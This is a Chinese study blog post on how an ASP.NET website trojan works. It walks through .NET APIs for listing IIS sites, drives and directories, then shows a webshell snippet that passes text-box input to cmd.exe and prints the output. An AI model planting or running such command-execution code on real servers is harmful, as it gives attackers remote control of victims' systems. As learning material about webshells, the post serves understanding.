网站木马学习2

36 篇文章 0 订阅

WebSite:一个IIS服务中可以包括很多的站点,这个就用于设置操作的站点。他的值是一个数字,默认是1,表示缺省站点,如果有其它,则从1开始依次类推。

Eg

foreach (DirectoryEntry child in mydir.Children)

            {

                if (CheckIsNumber(child.Name.ToString()))//监测是否是数字 就可以确定是不是一个站点

{}

}

 

 

 

DirectoryEntries.Find 方法 (String, String)

public DirectoryEntry Find(

      string name,

      string schemaClassName

)

返回此集合中具有指定名称和指定类型的成员。第2个参数是类名。

 

 

DirectoryEntry.Properties 属性

获取此 DirectoryEntry 对象的 Active Directory 域服务属性。

 

 

Directory.GetLogicalDrives 方法

检索此计算机上格式为“<驱动器号>:/”的逻辑驱动器的名称。

命名空间:  System.IO
程序集:  mscorlib(在 mscorlib.dll 中)

语法

 

 

C#

public static string[] GetLogicalDrives()

 

返回值

类型:array<System.String>[]()[]

此计算机上的逻辑驱动器。

 

 

 

Directory.GetParent 方法

检索指定路径的父目录,包括绝对路径和相对路径。

返回值

类型:System.IO.DirectoryInfo

父目录;或者如果 path 是根目录,包括 UNC 服务器或共享名的根,则为 nullNothingnullptrnull 引用(在 Visual Basic 中为 Nothing

 

 

 

DirectoryInfo 类用于典型操作,如复制、移动、重命名、创建和删除目录。

如果打算多次重用某个对象,可考虑使用 DirectoryInfo 的实例方法,而不是 Directory 类的相应静态方法,因为并不总是需要安全检查。

注意:

在接受路径作为输入字符串的成员中,路径必须是格式良好的,否则将引发异常。例如,如果路径是完全限定的但以空格开头,则路径在类的方法中不会被修剪。因此,路径的格式不正确,并将引发异常。同样,路径或路径的组合不能被完全限定两次。例如,“c:/temp c:/windows”在大多数情况下也将引发异常。在使用接受路径字符串的方法时,请确保路径是格式良好的。

 

 

DirectoryInfo.GetFiles 方法 返回当前目录的文件列表

DirectoryInfo .GetDirectories() 返回当前目录的子目录

 

 

Process.StartInfo 属性

获取或设置要传递给 Process Start 方法的属性。

命名空间:  System.Diagnostics
程序集:  System(在 System.dll 中)

 

 

 

 

属性值

类型:System.Diagnostics.ProcessStartInfo

ProcessStartInfo,它表示启动该进程时要使用的数据。这些参数包括用于启动该进程的可执行文件或文档的名称。

StartInfo 表示用于启动进程的一组参数。调用 Start 时,StartInfo 用于指定要启动的进程。唯一必须设置的 StartInfo 成员是 FileName 属性。通过指定 FileName 属性来启动进程,这样做类似于在 Windows开始菜单的运行对话框中键入信息。因此,FileName 属性不需要表示可执行文件。它可以是其扩展名已经与系统上安装的应用程序关联的任何文件类型。例如,如果已经将文本文件与某个编辑器(如记事本)关联,则 FileName 可以具有 .txt 扩展名;如果已经将 .doc 文件与某个字处理工具(如 Microsoft Word)关联,则它可以具有 .doc 扩展名。同样,运行对话框可以以相同的方式接受带有或不带 .exe 扩展名的可执行文件名,.exe 扩展名在 FileName 成员中是可选的。例如,可将 FileName 属性设置为“Notepad.exe”“Notepad”

您可以通过将 FileName 属性设置为您最初安装 ClickOnce 应用程序的位置(例如,Web 地址)来启动该应用程序。切勿通过指定 ClickOnce 应用程序在硬盘上的安装位置来启动该应用程序。

如果文件名涉及不可执行文件(如 .doc 文件),则可以包括一个谓词指定要对该文件执行什么操作。例如,对于以 .doc 扩展名结尾的文件,可以将 Verb 设置为“Print”。如果您手动为 Verb 属性输入一个值,则在 FileName 属性中指定的文件名不需要具有扩展名。但是,如果您使用 Verbs 属性来确定哪些谓词可用,则必须包括文件扩展名。

直到在进程上调用 Start 方法时才能更改 StartInfo 属性中指定的参数。启动该进程之后,更改 StartInfo 值不会影响也不会重新启动关联的进程。

如果未使用 Start 方法启动进程,则 StartInfo 属性不会反映启动该进程时使用的参数。例如,如果使用 GetProcesses 获取计算机上运行的进程的数组,则每个 Process StartInfo 属性将不包含启动进程时使用的原始文件名称或参数。

 

 

 

ProcessStartInfo.Arguments 属性

系统可将它与 FileName 属性中指定的应用程序相关联。

 

Eg

Process Cmdpro = new Process();

dpro.StartInfo.FileName = C:/Windows/System32/Cmd.exe;//相当于开始——运行 -中的命令

            Cmdpro.StartInfo.Arguments = dir;

 

 

 

ProcessStartInfo..UseShellExecute 属性

获取或设置一个值,该值指示是否使用操作系统外壳程序启动进程。

将此属性设置为 false 使您能够重定向输入流、输出流和错误流.

使用操作系统外壳程序启动进程时,可以使用 Process 组件启动任何文档(可以是与可执行文件关联的、具有默认打开操作的任何注册文件类型),并对该文件执行操作(如打印)。如果 UseShellExecute false,则只能使用 Process 组件启动可执行文件。

 

 

ProcessStartInfo.RedirectStandardInput 属性

获取或设置一个值,该值指示应用程序的输入是否从 Process.StandardInput 流中读取。

Process 可以读取来自它的标准输入流(一般是键盘)的输入文本。通过重定向 StandardInput 流,可以通过编程方式指定进程的输入。例如,可以不使用键盘输入,而从指定文件的内容或另一个应用程序的输出提供文本。

如果要将 RedirectStandardInput 设置为 true,必须先将 UseShellExecute 设置为 false。否则,写入 StandardInput 流时将引发异常。

 

ProcessStartInfo.RedirectStandardOutput 属性 通上面的一样  只不过这里是输出流

ProcessStartInfo.RedirectStandardError 属性

 

Process.StandardOutput 属性  得到进程的输出流

 

 

StreamReader.ReadToEnd 方法

从流的当前位置到末尾读取流。

 

 

看程序代码

Process Cmdpro = new Process();

   Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;         

  Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;          

  Cmdpro.StartInfo.UseShellExecute = false;

            Cmdpro.StartInfo.RedirectStandardInput = true;

            Cmdpro.StartInfo.RedirectStandardOutput = true;

            Cmdpro.StartInfo.RedirectStandardError = true;

            Cmdpro.Start();

            string cmdstr = Cmdpro.StandardOutput.ReadToEnd();

            cmdstr = cmdstr.Replace("<", "&lt;");

            cmdstr = cmdstr.Replace(">", "&gt;");

            Bin_CmdLabel.Text = "<hr><div id=/"cmd/"><pre>" + cmdstr + "</pre></div>";

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值